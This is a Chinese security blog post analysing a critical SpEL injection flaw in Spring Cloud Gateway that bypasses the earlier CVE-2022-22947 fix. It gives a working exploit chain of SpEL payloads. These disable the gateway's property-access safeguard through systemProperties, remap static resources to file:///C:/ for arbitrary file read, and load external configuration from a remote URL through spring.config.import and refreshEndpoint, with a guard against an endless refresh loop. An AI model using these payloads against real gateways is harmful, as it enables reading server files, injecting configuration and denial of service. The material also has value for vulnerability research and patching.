前言 最近,spring cloud getway 又出了一个10.0分的 SpEL漏洞
这个漏洞和之前的CVE-2022-22947 漏洞一样 依然是在热更新路由时触发表达式执行
之前的漏洞不是已经修复的非常完美了吗,为什么还能继续利用呢?
历史漏洞 在之前的修复方案中,原本使用的 StandardEcalutionContext
上下文被替换成了一个新的 SimpleEvaluationContext
上下文
public GatewayEvaluationContext (BeanFactory beanFactory) { this .beanFactoryResolver = new BeanFactoryResolver(beanFactory); Environment env = beanFactory.getBean(Environment.class); boolean restrictive = env.getProperty( "spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled" , Boolean.class, true ); if (restrictive) { delegate = SimpleEvaluationContext.forPropertyAccessors(new RestrictivePropertyAccessor()) .withMethodResolvers((context, targetObject, name, argumentTypes) -> null ) .build(); } else { delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build(); } }
这个新上下文有着非常多的限制 :
getBeanResolver
返回了null 不能访问任何bean
getTypeConverter
返回了一个 typeNotFoundTypeLocator
获取任何类型都会失败
methodResolver
和 propertyAccessors
则由外部提供
好在ShortcutConfigurable
并不是把所有的方法都委派给了 SimpleEvaluationConte
beanFactoryResolver
仍然是可用的 但是 RestrictivePropertyAccessor
限制了属性的读取
现在,修复后的SpEL 只能进行bean属性的受限写访问,和一些基本的内置语法操作
修复分析 @Test public void testNormalizeDefaultTypeWithSpelAssignmentAndInvalidInputFails () { parser = new SpelExpressionParser(); ShortcutConfigurable shortcutConfigurable = new ShortcutConfigurable() { @Override public List<String> shortcutFieldOrder () { return Arrays.asList("bean" , "arg1" ); } }; Map<String, String> args = new HashMap<>(); args.put("bean" , "#{ @myMap['my.flag'] = true}" ); args.put("arg1" , "val1" ); assertThatThrownBy(() -> { ShortcutType.DEFAULT.normalize(args, shortcutConfigurable, parser, this .beanFactory); }).isInstanceOf(SpelEvaluationException.class); }
从新的补丁 和其中的测试用例不难发现,在新漏洞的修复方案中SimpleEvaluationContext
加了一个新的限制.withAssignmentDisabled()
这禁用了所有赋值表达式操作
这里有一个SpEl
特性@myMap['my.flag'].abc
@myMap.abc
会被属性访问限制读取
@myMap['my.flag']
@myMap
但是这种访问并不会受到属性绑定的访问限制
也就是说Bean Map是可以任意读写的 这里很容易想到 systemProperties
和 systemEnvironment
两个 map 储存了spring的环境变量配置
#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}
通过这种表达式设置环境变量后 可以部分禁用刚刚的安全选项
但禁用这个安全选项后,情况也没有好太多
属性的读取限制解除了,但属性的写入又被限制住了,其他的限制仍然没有解除 =.= 非常头疼
另外 spring cloud gateway
使用的WEB框架是WebFlux
而不是传统的 Web MVC
h2-console
这种通过动态注册Servlet
的应用在这种环境下无法正常工作
WebFlux
并不支持Servlet
而且大部分配置无法自动触发更新 基本没有用处
那 SpEL 赋值表达式怎么做才能实现代码执行呢?
柳暗花明 我通过仔细跟踪SpEL的执行流程有了一些新的发现
public TypedValue read (EvaluationContext context, @Nullable Object target, String name) throws AccessException { Object value; if (this .member instanceof Method) { Method method = (Method)this .member; try { ReflectionUtils.makeAccessible(method); value = method.invoke(target); return new TypedValue(value, this .typeDescriptor.narrow(value)); } catch (Exception var6) { throw new AccessException("Unable to access property '" + name + "' through getter method" , var6); } } else { Field field = (Field)this .member; try { ReflectionUtils.makeAccessible(field); value = field.get(target); return new TypedValue(value, this .typeDescriptor.narrow(value)); } catch (Exception var7) { throw new AccessException("Unable to access field '" + name + "'" , var7); } } }
SpEL的的属性访问操作 最终是通过ReflectivePropertyAccessor类进行的
除了传统的反射读取属性外 它还支持通过调用方法来获取返回值 这里的预期设计应该是为了访问 getter
方法
@Nullable protected Method findGetterForProperty (String propertyName, Class<?> clazz, boolean mustBeStatic) { Method method = this .findMethodForProperty(this .getPropertyMethodSuffixes(propertyName), "get" , clazz, mustBeStatic, 0 , ANY_TYPES); if (method == null ) { method = this .findMethodForProperty(this .getPropertyMethodSuffixes(propertyName), "is" , clazz, mustBeStatic, 0 , BOOLEAN_TYPES); if (method == null ) { method = this .findMethodForProperty(new String[]{propertyName}, "" , clazz, mustBeStatic, 0 , ANY_TYPES); } } return method; }
我们继续往上游看findGetterForProperty
负责把属性名解析成 getter
方法。
在这里的实现居然使用的是属性名作为方法名兜底
也就是说 我们现在有了一个可以调用任意无参公开方法的能力 !!!!!!!!
文件读取 spring getway 内置的bean
有几百个,我稍微过了一遍bean
的名称
很快就发现一个有趣的东西 resourceHandlerMapping
它对应SimpleUrlHandlerMapping
储存了静态资源的maping
通过调试 发现它的 urlMap
属性储存了静态资源映射列表 而且存在对应的getter
this .urlMap = {LinkedHashMap@12122 } size = 2 "/webjars/**" -> {ResourceWebHandler@9959 } "ResourceWebHandler [classpath [META-INF/resources/webjars/]]" "/**" -> {ResourceWebHandler@12335 } "ResourceWebHandler [classpath [META-INF/resources/], classpath [resources/], classpath [static/], classpath [public/]]"
直接尝试通过表达式修改文件映射列表 不出意外的话它不会生效
@resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'
因为他已经初始化过了 实际上使用的locationsToUse
这个属性 它不是一个基本类型 不好修改啊
locationsToUse = {ArrayList@10090 } size = 1 0 = {ClassPathResource@12374 } "class path resource [META-INF/resources/webjars/]" path = "META-INF/resources/webjars/" classLoader = {RestartClassLoader@12377 } clazz = null
好在ResourceWebHandler
刚好有一个静态方法 afterPropertiesSet
public void afterPropertiesSet () throws Exception { this .resolveResourceLocations(); if (this .resourceResolvers.isEmpty()) { this .resourceResolvers.add(new PathResourceResolver()); } this .initAllowedLocations(); if (this .getResourceHttpMessageWriter() == null ) { this .resourceHttpMessageWriter = new ResourceHttpMessageWriter(); } this .resolverChain = new DefaultResourceResolverChain(this .resourceResolvers); this .transformerChain = new DefaultResourceTransformerChain(this .resolverChain, this .resourceTransformers); } private void resolveResourceLocations () { List<Resource> result = new ArrayList(this .locationResources); if (!this .locationValues.isEmpty()) { Assert.notNull(this .resourceLoader, "ResourceLoader is required when \"locationValues\" are configured." ); Assert.isTrue(CollectionUtils.isEmpty(this .locationResources), "Please set either Resource-based \"locations\" or String-based \"locationValues\", but not both." ); Iterator var2 = this .locationValues.iterator(); while (var2.hasNext()) { String location = (String)var2.next(); ((List)result).add(this .resourceLoader.getResource(location)); } } if (this .isOptimizeLocations()) { result = (List)((List)result).stream().filter(Resource::exists).collect(Collectors.toList()); } this .locationsToUse.clear(); this .locationsToUse.addAll((Collection)result); }
它通过调用resolveResourceLocations
重新设置了locationsToUse
到这里我们有了一个完整的利用链
通过bean map 禁用安全限制
#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}"
覆盖属性替换路由
#{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'}"
setter 触发无参静态方法刷新配置
#{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}"
curl http: ; for 16 -bit app support [fonts] [extensions] [mci extensions] .....
成功了! 静态资源的路径被重写 现在我们可以访问目标服务器磁盘下的任何文件了
配置重载 另一个 bean refreshEndpoint
同样吸引了我的注意力
果然不出所料,其中 refresh
方法可以实现配置刷新
public Collection<String> refresh() { Set<String> keys = this.contextRefresher.refresh(); return keys; }
设置一个从外部加载的配置
#{@systemProperties['spring.config.import'] = 'optional:http://127.0.0.1:1234/1.yml'}
尝试刷新配置
#{@refreshEndpoint.refresh'}
结果发现spring内部开始死循环刷新
由于刷新时路由表达式也会重新执行 这导致了刷新配置死循环 23333 经典死循环重启
稍微修改一下 poc
#{@systemProperties['okkk'] != 'true' ? (@systemProperties['okkk'] = 'true') + @refreshEndpoint.refresh : 'ok'}
这里通过一个设置自定义系统属性,来避免配置循环加载
第一次执行表达式会将 okkk 属性设置为 true
下次表达式执行时 三元表达式会避免二次执行refresh 来防止死循环刷新
::ffff:127.0.0.1 - - [17/Sep/2025 23:02:41] "GET /1.yml HTTP/1.1" 200 - ::ffff:127.0.0.1 - - [17/Sep/2025 23:03:06] "HEAD /1.yml HTTP/1.1" 200 -
spring配置文件成功的重载了
但是高版本spring boot已经使用了安全的yaml反序列化环境来加载配置文件 所以无法执行命令
随后我尝试了设置logging.config
来触发logback的远程配置载入
#{@systemProperties['logging.config'] = 'http://127.0.0.1/abc.xml'}
刷新配置后没有事情发生 看起来logback的不会随着热刷新而重新触发初始化 这条路看起来也不行
原生RCE? spring.cloud.gateway.discovery.locator
这个bean也有点意思
spring: application: name: demo-service cloud: nacos: discovery: server-addr: localhost:8848 gateway: discovery: locator: enabled: true
开启spring 注册中心 + discovery locator 后 urlExpression
和 includeExpression
这两个有setter的属性在路由注册解析时会被当做SpEL表达式执行
private DiscoveryClientRouteDefinitionLocator (String discoveryClientName, DiscoveryLocatorProperties properties) { this .properties = properties; if (StringUtils.hasText(properties.getRouteIdPrefix())) { this .routeIdPrefix = properties.getRouteIdPrefix(); } else { this .routeIdPrefix = discoveryClientName + "_" ; } this .evalCtxt = SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build(); }
它的上下文则是另外一幅场景 forReadOnlyDataBinding
+ withInstanceMethods
虽然它可以执行任意公开方法了 但是仍然不能获取类型 甚至连访问bean都不可以
结语 这个漏洞过去了几周都没有几个好的分析文章,就连漏洞作者 在之后只给出了DoS和配置读取的利用
折腾了几天也没有看到哪里可以RCE的地方,也许真的会有 ?
版权声明:本文首发于
白帽酱 的博客,转载请注明出处!